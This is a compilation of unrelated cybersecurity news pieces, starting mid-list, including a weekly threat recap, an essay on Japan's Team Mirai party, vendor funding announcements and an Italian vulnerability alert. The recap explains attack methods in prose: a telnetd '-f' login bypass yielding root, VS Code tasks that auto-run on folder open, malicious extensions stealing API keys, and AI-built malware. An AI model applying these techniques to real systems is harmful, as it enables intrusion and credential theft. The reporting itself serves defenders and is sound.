MongoDB Moxa Mozilla Firefox, Firefox ESR, and Thunderbird NVIDIA OPPO Palo Alto Networks Phoenix Contact Phoenix Technologies Progress Software QNAP Qualcomm React Ricoh Samsung Schneider Electric Siemens Sophos Spring Framework Supermicro Synology Tenable TP-Link WatchGuard Zoom, and Zyxel

Team Mirai and Democracy Japan’s election last month and the rise of the country’s newest and most innovative political party, Team Mirai, illustrates the viability of a different way to do politics. In this model, technology is used to make democratic processes stronger, instead of undermining them. It is harnessed to root out corruption, instead of serving as a cash cow for campaign donations. Imagine an election where every voter has the opportunity to opine directly to politicians on precisely the issues they care about. They’re not expected to spend hours becoming policy experts. Instead, an AI Interviewer walks them through the subject, answering their questions, interrogating their experience, even challenging their thinking. Voters get immediate feedback on how their individual point of view matches—or doesn’t—a party’s platform, and they can see whether and how the party adopts their feedback. This isn’t like an opinion poll that politicians use for calculating short-term electoral tactics. It’s a deliberative reasoning process that scales, engaging voters in defining policy and helping candidates to listen deeply to their constituents. This is happening today in Japan. Constituents have spent about eight thousand hours engaging with Mirai’s AI Interviewer since 2025. The party’s gamified volunteer mobilization app, Action Board, captured about 100,000 organizer actions per day in the runup to last week’s election. It’s how Team Mirai, which translates to ‘The Future Party,’ does politics. Its founder, Takahiro Anno, first ran for local office in 2024 as a 33 year old software engineer standing for Governor of Tokyo. He came in fifth out of 56 candidates, winning more than 150,000 votes as an unaffiliated political outsider. He won attention by taking a distinctive stance on the role of technology in democracy and using AI aggressively in voter engagement. Last year, Anno ran again, this time for the Upper Chamber of the national legislature—the Diet—and won. Now the head of a new national party, Anno found himself with a platform for making his vision of a new way of doing politics a reality. In this recent House of Representatives election, Team Mirai shot up to win nearly four million votes. In the lower chamber’s proportional representation system, that was good enough for eleven total seats—the party’s first ever representation in the Japanese House—and nearly three times what it achieved in last year’s Upper Chamber election. Anno’s party stood for election without aligning itself on the traditional axes of left and right. Instead, Team Mirai, heavily associated with young, urban voters, sought to unite across the ideological spectrum by taking a radical position on a different axis: the status quo and the future. Anno told us that Team Mirai believes it can triple its representation in the Diet after the next elections in each chamber, an ostentatious goal that seems achievable given their rapid rise over the past year. In the American context, the idea of a small party unifying voters across left and right sounds like a pipe dream. But there is evidence it worked in Japan. Team Mirai won an impressive 11% of proportional representation votes from unaffiliated voters, nearly twice the share of the larger electorate. The centerpiece of the party’s policy platform is not about the traditional hot button issues, it’s about democracy itself, and how it can be enhanced by embracing a futuristic vision of digital democracy. Anno told us how his party arrived at its manifesto for this month’s elections, and why it looked different from other parties’ in important ways. Team Mirai collected more than 38,000 online questions and more than 6,000 discrete policy suggestions from voters using its AI Policy app, which is advertised as a ‘manifesto that speaks for itself.’ After factoring in all this feedback, Team Mirai maintained a contrarian position on the biggest issue of the election: the sales tax and affordability. Rather than running on a reduction of the national sales tax like the major parties, Team Mirai reviewed dozens of suggestions from the public and ultimately proposed to keep that tax level while providing support to families through a child tax credit and lowering the required contribution for social insurance. Anno described this as another future-facing strategy: less price relief in the short term, but sustained funding for essential programs. Anno has always intended to build a different kind of party. After receiving roughly $1 million in public funding apportioned to Team Mirai based on its single seat in the Upper Chamber last year, Anno began hiring engineers to enhance his software tools for digital democracy. Anno described Team Mirai to us as a ‘utility party;’ basic infrastructure for Japanese democracy that serves the broader polity rather than one faction. Their Gikai (‘assembly’) app illustrates the point. It provides a portal for constituents to research bills, using AI to generate summaries, to describe their impacts, to surfacing media reporting on the issue, and to answer users’ questions. Like all their software, it’s open source and free for anyone, in any party, to use. After last week’s victory, Team Mirai now has about $5 million in public funding and ambitions to grow the influence of their digital democracy platform. Anno told us Team Mirai has secured an agreement with the LDP, Japan’s dominant ruling party, to begin using Team Mirai’s Gikai and corruption-fighting Marumie financial transparency tool. AI is the issue driving the most societal and economic change we will encounter in our lifetime, yet US political parties are largely silent. But AI and Big Tech companies and their owners are ramping up their political spending to influence the parties. To the extent that AI has shown up in our politics, it seems to be limited to the question of where to site the next generation of data centers and how to channel populist backlash to big tech. Those are causes worthy of political organizing, but very few US politicians are leveraging the technology for public listening or other pro-democratic purposes. With the midterms still nine months away and with innovators like Team Mirai making products in the open for anyone to use, there is still plenty of time for an American politician to demonstrate what a new politics could look like. This essay was written with Nathan E. Sanders, and originally appeared in Tech Policy Press.

Venice Security on Wednesday emerged from stealth mode with $33 million in funding for its adaptive enterprise privileged access management platform. The company, formerly named Valkyrie, has operations in Tel Aviv and New York. It focuses on eliminating standing privilege by default to enhance security in complex enterprise settings. The total investment includes a recent $25 million Series A funding round led by IVP, with participation from Index Ventures, Vine Ventures, Holly Ventures, and angel investors. Venice Security offers a platform that provides unified control over access points in hybrid environments, including cloud, on-premises, and SaaS systems. The system discovers identities and entitlements, granting access only when required and revoking it immediately after. It includes dynamic policies that adapt in real time to changes in user behavior or environmental conditions, requiring no agents or proxies for deployment. “The way organisations manage access isn’t keeping up with how business operates today,” stated Rotem Lurie, co-founder and CEO of Venice. “Teams move faster, environments shift constantly, and AI is accelerating operations across the enterprise and threat actors. Access control needs to match that tempo. Venice is on a mission to provide real-time access, granted only when required, and removed the moment it’s not,” Lurie, who previously served as head of product at Axis Security, added. Related: Cogent Security Raises $42 Million for AI-Driven Vulnerability Management Related: Nucleus Raises $20 Million for Exposure Management Related: GitGuardian Raises $50 Million for Secrets and Non-Human Identity Security

Rilevate vulnerabilità in prodotti Axis Alert AL03/260210/CSIRT-ITA Sintesi Rilasciati aggiornamenti per risolvere alcune vulnerabilità di sicurezza, di cui due con gravità “alta” in prodotti Axis, nota piattaforma di Video Management Software. Tali vulnerabilità, qualora sfruttate, consentirebbero a un utente remoto malintenzionato di elevare i propri privilegi e di eseguire codice arbitrario sui sistemi interessati. Tipologia Privilege Escalation Remote Code Execution Prodotti e/o versioni affette AXIS OS, versioni dalla 12.6.54 alla 12.7.35 AXIS Camera Station Pro, versioni 6.11 e 6.12 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni dei bollettini di sicurezza riportati nella sezione Riferimenti. Di seguito sono riportate le sole CVE relative alle vulnerabilità con gravità “alta”.

Rein Security launches to provide protection inside application production environments Rein Security emerged from stealth to address blind spots in application and AI security. Building on an initial $8 million seed round led by Glilot Capital, Rein delivers a patent pending technology that provides real-time context and protection inside application production environments. Enterprises across a variety of industries, such as financial and other business-critical services, rely on Rein to protect applications running in production, including Lemonade and HiBob. The AppSec landscape is undergoing rapid change as organizations contend with the growth of APIs, AI-generated code and applications, as well as model context protocols (MCP). Yet most organizations still struggle to see how their applications behave in production. After years of being forced to make decisions with incomplete data and time-consuming investigations, security leaders Matan Bar Efrat and Netanel Rubin founded Rein to build a platform grounded entirely in real production insight. “Security teams have been forced to play guesswork for far too long and we can no longer allow application security to be rooted in assumptions instead of reality,” said Matan Bar Efrat, CEO of Rein Security. “We founded Rein to give CISOs and AppSec leaders the ability to protect every app, MCP, library and API without disruption. By seeing and controlling exactly what happens to apps in production, teams can resolve real issues quickly rather than spending excessive time on investigations and analysis.” AppSec production visibility with real-time insights Most AppSec tools stop at code scanning and pre-production testing, which surfaces issues but fails to show how applications actually behave once they are in production. In a recent survey, Rein found that more than three-quarters of CISOs, AppSec leaders and developers identified gaining production-level visibility into their applications as their number one requirement for improving AppSec. Rein is creating a whole new axis that closes the gap by providing organizations with a direct, continuous livestream of code behavior, requests and risks inside production environments. “Uptime and security are strict requirements,” said Jonathan Jaffe, CISO at Lemonade. “That’s why we need a way to understand what’s really happening in our apps, without relying on limited data, proxies or guesses. Rein provides exactly that. Its granular baselines and real production visibility give us confidence that when something deviates, it’s real – not another false signal. That way we can detect and stop actual exploitation attempts, understand what the application is actually doing, and support developers with the visibility they need, all without impacting production.” The Rein platform solves key AppSec use cases, including API security and SCA reachability, by applying application runtime context to surface validated risks in production versus theoretical ones. This approach helps teams move beyond static assumptions to understand which APIs and libraries are present in applications in production, determine vulnerability reachability and focus remediation efforts more effectively. Key capabilities of the Rein platform include: Complete visibility in production: A real-time, code-level view into application behavior. Runtime protection: Granular and impact-centric protection covering both zero-day and one-day exploits. AI-security: Visibility and protection needed to mitigate risks from MCP, AI agents, AI-native apps and emerging application architectures. Agentless architecture: Applies production context with under one millisecond of performance impact and no reliance on proxies, sampling or eBPF. Cross-domain application security support: Applies production context across multiple AppSec domains, including API Security, SCA, SAST, DAST and AI security. “Modern application environments are becoming more dynamic, interconnected, and difficult to reason about using traditional AppSec models,” said Alexei Balaganski, Lead Analyst at KuppingerCole Analysts. “Improving visibility into real execution context in production introduces a different way of thinking about application risk. That perspective can help security teams prioritize risk, reduce friction, and adapt security practices to modern software development.”

Security failures rarely arrive loudly. They slip in through trusted tools, half-fixed problems, and habits people stop questioning. This week’s recap shows that pattern clearly. Attackers are moving faster than defenses, mixing old tricks with new paths. “Patched” no longer means safe, and every day, software keeps becoming the entry point. What follows is a set of small but telling signals. Short updates that, together, show how quickly risk is shifting and why details can’t be ignored. ⚡ Threat of the Week Improperly Patched Flaw Exploited Again in Fortinet Firewalls — Fortinet confirmed that it's working to completely plug a FortiCloud SSO authentication bypass vulnerability following reports of fresh exploitation activity on fully-patched firewalls. "We have identified a number of cases where the exploit was to a device that had been fully upgraded to the latest release at the time of the attack, which suggested a new attack path," the company said. The activity has been found to exploit an incomplete patch for CVE-2025-59718 and CVE-2025-59719, which could allow unauthenticated bypass of SSO login authentication via crafted SAML messages if the FortiCloud SSO feature is enabled on affected devices. In the absence of a fix, users are advised to restrict administrative access of edge network devices and turn off FortiCloud SSO logins by disabling the "admin-forticloud-sso-login" setting. When Your CEO Calls, Will You Know It's Real? Keeper Security is officially FedRAMP High Authorized, meeting the highest standards for federal cybersecurity. Powered by zero-trust architecture and zero-knowledge encryption, KeeperPAM is built to protect mission-critical data and infrastructure. Book a demo to see KeeperPAM in action. Learn More ➝ 🔔 Top News TikTok Forms New U.S. Entity to Avoid Federal Ban — TikTok officially announced that it formed a joint venture that will allow the hugely popular video-sharing application to continue operating in the U.S. The new venture, named TikTok USDS Joint Venture LLC, has been established in compliance with the Executive Order signed by U.S. President Donald Trump in September 2025, the platform said. The new deal will see TikTok's Chinese parent company, ByteDance, selling the majority of its stake to a group of majority-American investors, while it will retain a 19.9% stake in the business. The Chinese government hasn't commented publicly on the agreement. The deal ends years of regulatory uncertainty that began in August 2020, when President Trump announced plans to ban the app, citing national security concerns. VoidLink Generated Almost Entirely Using AI — VoidLink, the recently discovered Linux malware which targets Linux-based cloud servers, was likely generated almost entirely by artificial intelligence (AI), signaling a significant evolution in the use of the technology to develop advanced malware. What was significant in alerting researchers to AI involvement in building VoidLink was a development plan that accompanied the project and was accidentally left exposed by its author. The developer also utilized regular checkpoints to ensure that the model was developing as instructed and that the code worked. The result was a malware which the researchers who first detailed VoidLink described as "sophisticated, modern and feature-rich." The discovery is a watershed moment for malware development, underscoring a shift in how AI can be used to design advanced malicious programs. "The security community has long anticipated that AI would be a force multiplier for malicious actors. Until now, however, the clearest evidence of AI-driven activity has largely surfaced in lower-sophistication operations, often tied to less experienced threat actors, and has not meaningfully raised the risk beyond regular attacks," Check Point said. "VoidLink shifts that baseline: its level of sophistication shows that when AI is in the hands of capable developers, it can materially amplify both the speed and the scale at which serious offensive capability can be produced." From a defensive point of view, the use of AI also complicates attribution, as the generated code removes a lot of usual clues and makes it harder to determine who's really behind an attack. Critical GNU InetUtils telnetd Flaw Detailed — A critical security flaw has been disclosed in the GNU InetUtils telnet daemon (telnetd) that went unnoticed for nearly 11 years. The vulnerability, tracked as CVE-2026-24061 (CVSS score: 9.8), affects all versions of GNU InetUtils from version 1.9.3 up to and including version 2.7. The vulnerability was introduced as part of a code change in March 2015. The flaw allows an attacker to establish a Telnet session without providing valid credentials, granting unauthorized access to the target system. SafeBreach Labs, in a root cause analysis of CVE-2026-24061, described it as easy to exploit and that an attacker can supply a "-f" flag for the "/usr/bin/login" executable, effectively skipping the interactive authentication and giving them a root shell. It has also released a public proof-of-concept (PoC) exploit for the flaw. Vishing Attacks Target Identity Providers — Threat actors who specialize in voice phishing (aka vishing) have started using bespoke phishing kits that can intercept targets' login credentials while also allowing attackers to control the authentication flow in a targeted user's browser in real-time. "Where threat actors could once pay for access to a kit with basic features that targeted all popular Identity Providers (Google, Microsoft Entra, Okta, etc.) and cryptocurrency platforms, a new generation of fraudsters are attempting to sell access to bespoke panels for each targeted service," Okta said. The ShinyHunters extortion gang has claimed responsibility for some of the attacks, Bleeping Computer reported. CrashFix Crashes Browsers to Deliver Malware — A malvertising campaign is using a fake ad-blocking Chrome and Edge extension named NexShield that intentionally crashes the browser as a precursor to ClickFix attacks. Unlike typical ClickFix schemes that use non-existent security alerts or CAPTCHAs to lure users into executing malicious commands, the new CrashFix variant leverages a malicious extension that first intentionally crashes the victim's browser and then delivers a fraudulent fix. When the browser is restarted, the extension displays a deceptive pop-up that shows a fake warning and suggests scanning the system to identify the problem. Doing so opens a new window with a bogus warning about detected security issues, along with instructions on how to fix the problem, which involve executing malicious commands in the Windows Run prompt, in a typical ClickFix fashion. While the extension has since been removed, the attacks are designed to deliver a new Python-based remote access tool called ModeloRAT. The findings show that browser extensions are a high-risk attack vector for enterprises, allowing threat actors to bypass traditional security controls and gain a foothold on corporate endpoints. Contagious Interview Evolves to Deliver Backdoor via VS Code — The North Korean threat actors behind the Contagious Interview campaign are employing a new mechanism that uses Microsoft Visual Studio Code (VS Code) to deliver a previously unseen backdoor that enables remote code execution on developer systems. The attack chain starts when targets are asked to clone and open malicious repositories hosted on GitHub, GitLab, or Bitbucket, typically framed as part of a technical assignment or code review exercise related to the hiring process. "The most important facilitator for this attack vector is the configuration's runOptions property, which supports a runOn value of folderOpen, causing the defined task to execute automatically when a workspace is opened," Abstract Security said. "Contagious Interview actors exploit this by including malicious shell commands in tasks.json files. When a victim clones a repository to their local machine and opens it in VS Code, the malicious task executes and kicks off the infection chain leading to malware installation." The malicious payloads are mostly hosted on Vercel domains, but other domains like vscodeconfig[.]com and vscode-load.onrender[.]com have also been identified. In at least one case, the "tasks.json" file is used to install a malicious npm package named "jsonwebauth." Contagious Interview has been active since 2022, primarily targeting software developers and IT professionals, especially in the blockchain and cryptocurrency sectors. As many as 3,136 individual IP addresses linked to likely targets of the Contagious Interview activity have been identified between August 2024 and September 2025, most of which are concentrated around South Asia and North America. ️🔥 Trending CVEs Hackers act fast. They can use new bugs within hours. One missed update can cause a big breach. Here are this week’s most serious security flaws. Check them, fix what matters first, and stay protected. This week’s list includes — CVE-2026-24061 (GNU InetUtils telnetd), CVE-2026-23760 (SmarterMail), CVE-2026-20045 (Cisco Unified Communications and Webex Calling Dedicated Instance), CVE-2026-22218, CVE-2026-22219 (Chainlit), CVE-2026-1245 (binary-parser), CVE-2025-68143, CVE-2025-68144, CVE-2025-68145 (Anthropic mcp-server-git), CVE-2026-22844 (Zoom), CVE-2025-13927, CVE-2025-13928, CVE-2026-0723 (GitLab CE/EE), CVE-2026-0629 (TP-Link), CVE-2025-49758 (Microsoft SQL Server), CVE-2025-47179 (Microsoft Configuration Manager), CVE-2025-60021 (Apache bRPC), CVE-2025-61937, CVE-2025-64691, CVE-2025-61943, CVE-2025-65118 (AVEVA Process Optimization), CVE-2025-14369 (dr_flac), CVE-2026-0828 (Safetica ProcessMonitorDriver.sys), CVE-2026-0685 (Genshi template engine), CVE-2025-68675 (Apache Airflow), CVE-2025-14533 (Advanced Custom Fields: Extended plugin), CVE-2025-13151 (GNU libtasn1), CVE-2026-0622 (Open5GS WebUI component), CVE-2025-65586 (libheif), CVE-2025-33206 (NVIDIA NSIGHT Graphics for Linux), CVE-2026-1220 (Google Chrome), CVE-2025-66516, CVE-2026-21962, CVE-2025-66516, CVE-2025-54988, CVE-2025-4949, CVE-2025-54874, CVE-2025-49796, CVE-2025-23048 (Oracle), CVE-2026-23744 (@mcpjam/inspector), CVE-2025-13878 (ISC BIND 9), CVE-2025-12383 (Atlassian Bamboo Data Center and Server), CVE-2025-66516 (Atlassian Confluence Data Center and Server), CVE-2026-22755 (Vivotek legacy camera models), CVE-2026-22794 (AppSmith), CVE-2025-67968 (RealHomes CRM plugin), CVE-2026-23594 (HPE Alletra 6000, Alletra 5000 and Nimble Storage), CVE-2026-0920 (LA-Studio Element Kit for Elementor plugin), and CVE-2026-22200 (osTicket). 📰 Around the Cyber World 1Password Adds Warnings for Phishing Sites — Password manager 1Password has added a new security feature that warns users when they're on a phishing or spoofed site, and they're prompted to enter their credentials. "When a 1Password user clicks a link where the URL doesn't match their saved login, 1Password won’t autofill their credentials," it said. "When a user attempts to paste their credentials, the 1Password browser extension displays a pop-up warning, prompting them to pause and exercise caution before proceeding." Malicious Chrome Extensions Steal OpenAI API Keys and User Prompts — A malicious Google Chrome extension named H-Chat Assistant (ID: dcbcnpnaccfjoikaofjgcipcfbmfkpmj) with over 10,000 users has been found to steal users' OpenAI API keys at scale. It's estimated to have exfiltrated at least 459 unique API keys to an attacker-controlled Telegram channel. "Once the extension is installed, users are prompted to add an OpenAI API key to interface with the chatbot," Obsidian Security said. "The API key exfiltration occurs once a user deletes a chat or chooses to log out of the application." While the extension works as advertised, compromised keys could enable unauthorized access to affected users' OpenAI instances. The extension is still available for download as of writing. Obsidian Security said it has since uncovered dozens of Chrome extensions that are sending user prompts and other data to third-party/external servers. "Several of the extensions impersonate ChatGPT, creating a false sense of trust that conversations and data are only being transmitted to OpenAI," it added. PasteReady Extension Pushes Malware After Purchase — In more extension-related news, the PasteReady browser extension has been used to push malware after it was put up for sale. Secure Annex's John Tuckner said the PasteReady was made available for sale on extensionhub[.]io May 7, 2025, and the ownership transfer happened on December 27, 2025. "Version 3.4 with malware was pushed December 30, 2025," Tuckner said in a post on X. "It was removed from the Chrome Web Store for malware January 14, 2026." Microsoft Complies with Court Order to Hand Over a BitLocker Encryption Key in Fraud Case — Microsoft gave the U.S. Federal Bureau of Investigation (FBI) BitLocker keys to unlock encrypted data stored on three laptops of Windows users charged in a fraud indictment, Forbes reported. The development marks the first publicly known instance of Microsoft providing BitLocker keys. Microsoft backs up BitLocker keys to its servers when the service is set up from an active Microsoft account. While Microsoft does offer the ability to stash the keys elsewhere, such as a file or to a USB flash drive, customers are encouraged to store it on its cloud for easy key recovery. The company has since confirmed that it provides BitLocker recovery keys for encrypted data if it receives a valid legal order and the user has stored the keys on its servers, and that it's legally required to produce the keys stored on its servers. Apple also provides a similar service, but with two tiers: Standard data protection and Advanced Data Protection for iCloud. According to Microsoft's most recent Government Requests for Customer Data Report, covering July 2024 through December 2024, the company received a total of 128 requests from law enforcement organizations around the world. Of these, only four of them, three in Brazil and one in Canada, led to the disclosure of content. Ilya Lichtenstein Wants a Cybersecurity Job — Ilya Lichtenstein, who was behind the massive hack of cryptocurrency exchange Bitfinex in 2016, said he has changed his ways. "Ten years ago, I decided that I would hack the largest cryptocurrency exchange in the world," Lichtenstein wrote on LinkedIn. "This was a terrible idea. It was the worst thing I had ever done,” he added. “It upended my life, the lives of people close to me, and affected thousands of users of the exchange. I know I disappointed a lot of people who believed in me and grossly misused my talents." Lichtenstein was arrested in 2022 for the hack, and was released to home confinement earlier this month after serving nearly four years in prison. In the post, Lichtenstein said he has "always been motivated by technical challenges rather than material wealth" and that mathematics became his "escape from the hard realities of the prison world." Lichtenstein concluded by saying he wants to work in cybersecurity. "I think like an adversary," he said. "I've been an adversary. Now I can use those same skills to stop the next billion-dollar hack." Anthropic Details Assistant Axis — AI company Anthropic has detailed what it describes as the "Assistant Axis," a pattern of neural activity in large language models that governs their default identity and helpful behavior. The axis is believed to be created during post-training, when models are taught to play the role of an "Assistant," or it's likely that it already exists in pre-trained models. "By monitoring models' activity along this axis, we can detect when they begin to drift away from the Assistant and toward another character," Anthropic said. "And by constraining their neural activity ('activation capping') to prevent this drift, we can stabilize model behavior in situations that would otherwise lead to harmful outputs." China Blames Taiwan for 1000s of Cyber Attacks — The Chinese government said it investigated nearly 4,000 cyber attacks in 2025 that originated from Taiwan. The figure represents a 25% increase year-over-year. The attacks sought to steal classified information from critical mainland sectors, including transportation, finance, science and technology, and energy. Some of the operations were allegedly carried out by the Taiwanese military. Romania Dismantles Murder-for-Hire Operation — Romanian authorities dismantled an organized criminal group that operated a murder-for-hire operation. The group ran a website that allowed anonymous users to pay for assassinations using cryptocurrencies through an escrow system. Authorities executed three search warrants in the municipalities of Bucharest and Râmnicu Vâlcea and questioned two individuals behind the scheme. They also seized more than $750,000 in digital assets and cash worth 292,890 lei, $650,000, and €48,600 from their homes. Ireland Proposes New Law Allowing Police to Use Spyware — The Irish government plans to draft legislation that would make it legal for law enforcement to use spyware. The Minister for Justice, Home Affairs and Migration, Jim O'Callaghan, said the government has approved proposals for an "updated and comprehensive legal framework for lawful interception" that will also "include robust legal safeguards to provide continued assurance that the use of such powers is necessary and proportionate." The ministry also noted there is an urgent need for a new legal framework for lawful interception to counter serious crime and security threats. Microsoft Emerges as the Most Impersonated Brand in Q4 2025 — Microsoft has emerged as the most commonly impersonated brand in phishing attacks during the fourth quarter of 2025. Microsoft was followed by Facebook, Roblox, McAfee, Steam, AT&T, Amazon, Google, Yahoo, and Coinbase. "Scammers ramped up brand impersonation attacks throughout Q4 2025, timing their campaigns around when people are busiest online, shopping for deals, renewing subscriptions, or looking for jobs," Guardio said. "Attackers weaponize brand recognition, betting that a Microsoft billing alert or Facebook security notification will bypass skepticism when it arrives during year-end account reviews, holiday coordination chaos, or gift card purchase rushes." Germany Expels Russian Diplomat Accused of Spying — Germany expelled a Russian diplomat accused of spying, further escalating geopolitical tensions between Berlin and Moscow over intelligence activity linked to the war in Ukraine. "We do not accept espionage in Germany – and particularly not under the cover of diplomatic status. We summoned the Russian Ambassador to the Federal Foreign Office today and informed him that the individual who spied on behalf of Russia is to be expelled," the German Foreign Office said. German outlet Der Spiegel and Russian independent media organization The Insider identified the expelled diplomat as Andrei Mayorov, Russia's deputy military attache in Germany. Mayorov reportedly holds the rank of colonel in Russia's military intelligence agency, the GRU. He is alleged to have acted as the handler for Ilona Kopylova, a dual Ukrainian-German citizen who was arrested in Berlin on suspicion of spying for Russia. Bad Actors Hijack Snap Publisher Domains for Malware Delivery — Scammers are hijacking legitimate Canonical Snap Store publisher accounts by registering expired domains associated with those accounts to trigger password resets. Once in control, these attackers push malicious updates to established, trustworthy applications to deploy cryptocurrency wallet-draining malware. The domain resurrection attack has hijacked accounts associated with two Linux packages storewise.tech and vagueentertainment.com. The threat actors behind this campaign are believed to be located in Croatia. Handala Group Uses Starlink For Attacks — The Iranian hacktivist group known as Handala has been observed carrying out attacks via Starlink connections. According to Check Point, activity from the group ceased when the Iranian regime cut off the internet across the country, but has since resumed as of January 17, 2026, from Starlink IP ranges and hitting targets across the Middle East. 884 Flaw Exploited for the First Time in 2025 — As many as 884 vulnerabilities were exploited for the first time in 2025, up from 768 CVEs in 2024. According to vulnerability management company VulnCheck, 28.96% of Known Exploited Vulnerabilities (KEVs) were weaponized on or before the day their CVE was published, an increase from the 23.6% observed in 2024. Network edge devices, including firewalls, VPNs, and proxies, were the most frequently targeted technologies, followed by content management systems and open source software. "This reinforces the urgency for organizations to act quickly on newly disclosed vulnerabilities while continuing to reduce long-standing vulnerability backlogs," VulnCheck said. 2 Venezuelans Convicted in U.S. for Using Malware to Hack ATMs — Two Venezuelan nationals, Luz Granados, 34, and Johan Gonzalez-Jimenez, 40, are set to be deported after being convicted of conspiracy and computer crimes in an ATM jackpotting scheme. "Jimenez and Granados targeted older model Automated Teller Machines (ATM) throughout the southeastern United States to steal money after business hours," the U.S. Justice Department said. "The defendants would approach an ATM at nighttime and remove the outer casing of the machine and then connect a laptop computer to install malware that overcame the ATM's security protocols. Once installed, the ATMs dispersed cash to the perpetrators until the ATM's funds are exhausted." Granados has been sentenced to time served and has been ordered to pay $126,340 in restitution. Gonzalez-Jimenez was sentenced to 18 months in federal prison and was ordered to pay $285,100 in restitution. Russian National Pleads Guilty to Ransomware Spree — A Russian national has pleaded guilty to leading the Zeppelin ransomware group that targeted at least 50 victims during a four-year period ending between May 2018 and August 2022. Ianis Aleksandrovich Antropenko faces up to 25 years in jail and fines up to $750,000, CyberScoop reported. He has also been ordered to pay restitution to his victims and forfeit property, CyberScoop reported. In August 2025, the U.S. Justice Department unsealed six warrants authorizing the seizure of over $2.8 million in cryptocurrency, $70,000 in cash, and a luxury vehicle. The cryptocurrency was seized from a wallet controlled by Antropenko. Critical Security Flaws in OpenKM — Multiple zero-day vulnerabilities have been disclosed in OpenKM that could result in remote code execution, unrestricted SQL execution, and file disclosure. The flaws remain unpatched, according to Terra System Labs. "The discovered issues allow a single authenticated administrator to fully compromise the OpenKM server, backend database, and sensitive stored documents," the Indian cybersecurity company said. "The findings highlight systemic security design weaknesses in trusted administrative interfaces and demonstrate how these flaws can be chained to achieve complete system takeover." Command Injection Flaw in Vivotek Legacy Firmware — Akamai has disclosed details of a new vulnerability within Vivotek legacy firmware that allows remote users to inject arbitrary code into the filename supplied to upload_map.cgi. The security issue has been assigned the CVE identifier CVE-2026-22755 (CVSS score: 9.3). "This exploit affects a wide range of legacy older camera models, allowing attackers to execute malicious commands as the root user without requiring authentication," security researcher Larry Cashdollar said. "It enables attackers to upload files with filenames that, when processed by the server, execute system commands and result in root access." Mamba PhaaS Kit Detailed — Cybersecurity researchers have shed light on a phishing-as-a-service (PhaaS) kit named Mamba that first emerged in 2023 coinciding with the emergency of adversary-in-the-middle (AiTM) phishing. "Campaigns associated with Mamba phishing operations are most commonly delivered through email-based lures designed to drive the victim directly to the phishing URL," CYFIRMA said. "These lures typically impersonate routine business or security-related communications to create urgency and legitimacy. Mamba's design reflects a growing reliance on service-based phishing tooling, where operational efficiency and repeatability are prioritized over bespoke attack development." New Stanley Kit Guarantees Chrome Web Store Approval — A threat actor is selling access to a toolkit dubbed Stanley that can build malicious Chrome extensions that pass the Web Store verification process. "For $2,000 to $6,000, Stanley provides a turnkey website-spoofing operation disguised as a Chrome extension, with its premium tier promising guaranteed publication on the Chrome Web Store," Varonis researcher Daniel Kelley said. The toolkit is being sold on a Russian-speaking hacking forum for prices ranging from $2,000 to $6,000. It comes with a C2 panel that allows customers to target individual infections for specific actions. "Once a target is selected, attackers configure URL hijacking rules specific to that user," Varonis said. "Beyond passive hijacking, operators can actively lure users to targeted pages through real-time notification delivery. The notifications come from Chrome itself, not a website, so they carry more implicit trust." More importantly, the URL hijacking rules ensure that the browser's address bar continues to display a legitimate domain, while the victim actually sees and interacts with the attacker's phishing page. Thus when a victim navigates to a targeted website, the extension intercepts the navigation and overlays a fullscreen iframe containing the phishing page. It's designed to steal login credentials and financial information by deceiving people into thinking they're visiting real websites. EmEditor Supply Chain Compromise Analyzed — The December 2025 supply chain attack targeting EmEditor allowed unknown threat actors to distribute a multi-stage malware capable of credential theft, data exfiltration, and follow-on intrusion through lateral movement, while also taking steps to evade detection by disabling event tracing for Windows. "EmEditor has longstanding recognition within Japanese developer communities as a recommended Windows-based editor," Trend Micro said. "This suggests that the attackers are targeting this specific user base, or that they have a particular target among EmEditor users and used the compromised download page as a delivery mechanism." The malware has been found to exclude systems located in Armenia, Belarus, Georgia, Kazakhstan, and Kyrgyzstan, suggesting that they could be of Russian origin or from the Commonwealth of Independent States (CIS). Abusing Azure Private Link to Access Azure Resources — New research has found that certain configurations of Microsoft Azure's Private Endpoint architecture could be exploited to stage denial-of-service (DoS) attacks against Azure resources. Palo Alto Networks Unit 42 said over 5% of Azure storage accounts currently operate with configurations that are subject to this DoS issue. "For example, denying service to storage accounts could cause Azure Functions within FunctionApps and subsequent updates to these apps to fail," the cybersecurity company said. "In another scenario, the risk could lead to DoS to Key Vaults, resulting in a ripple effect on processes that depend on secrets within the vault." To counter the attacks, it's advised to enable fallback to public DNS resolution and manually add DNS records for affected resources. 🎥 Cybersecurity Webinars Cloud Forensics Is Broken. This Is What Works Now → Cloud attacks move fast and often leave little evidence behind. This webinar explains how modern cloud forensics uses host-level data and AI to help security teams understand what happened, how it happened, and respond faster in today’s cloud environments. How to Build a Smarter SOC Without Adding More Tools → Security teams are stretched thin, with too many tools and too little clarity. This webinar breaks down how modern SOCs really work, focusing on practical choices around what to build, buy, and automate—without hype. It’s for teams looking to make smarter decisions with the tools and resources they already have. When Today’s Encryption Won’t Be Enough Tomorrow → Quantum computing is moving from theory to reality, and it will change how data security works. Information that is encrypted today may be broken in the future using more powerful systems. This webinar helps security leaders understand what that risk means in practical terms and how to start preparing now, using clear, real-world approaches that protect data without disrupting existing systems. 🔧 Cybersecurity Tools NetAlertX - It is a simple tool that helps you see what devices are connected to your network. It keeps a live list of computers, phones, servers, and other hardware, and shows when something new appears or changes. This makes it useful for spotting unknown devices, tracking assets, and staying aware of what’s happening across your network without using heavy or complex security tools. RzWeb - It is a simple way to look inside software files without installing any tools. It runs fully in your web browser, so you can open a file and start examining how it works right away. Everything happens on your own machine, which makes it useful for quick checks, learning, or analysis when you don’t want to set up a full reverse-engineering environment. Disclaimer: These tools are for learning and research only and have not been fully security-tested. Review the code carefully, use it only in safe environments, and follow all applicable rules and laws. Conclusion This edition makes one thing clear: risk now sits in everyday tools and normal choices. Small gaps are all it takes. None of these stories stands alone. They point to a wider pattern where speed matters and delays cost real damage. Treat this list as a snapshot. The details will change. The pressure will not.

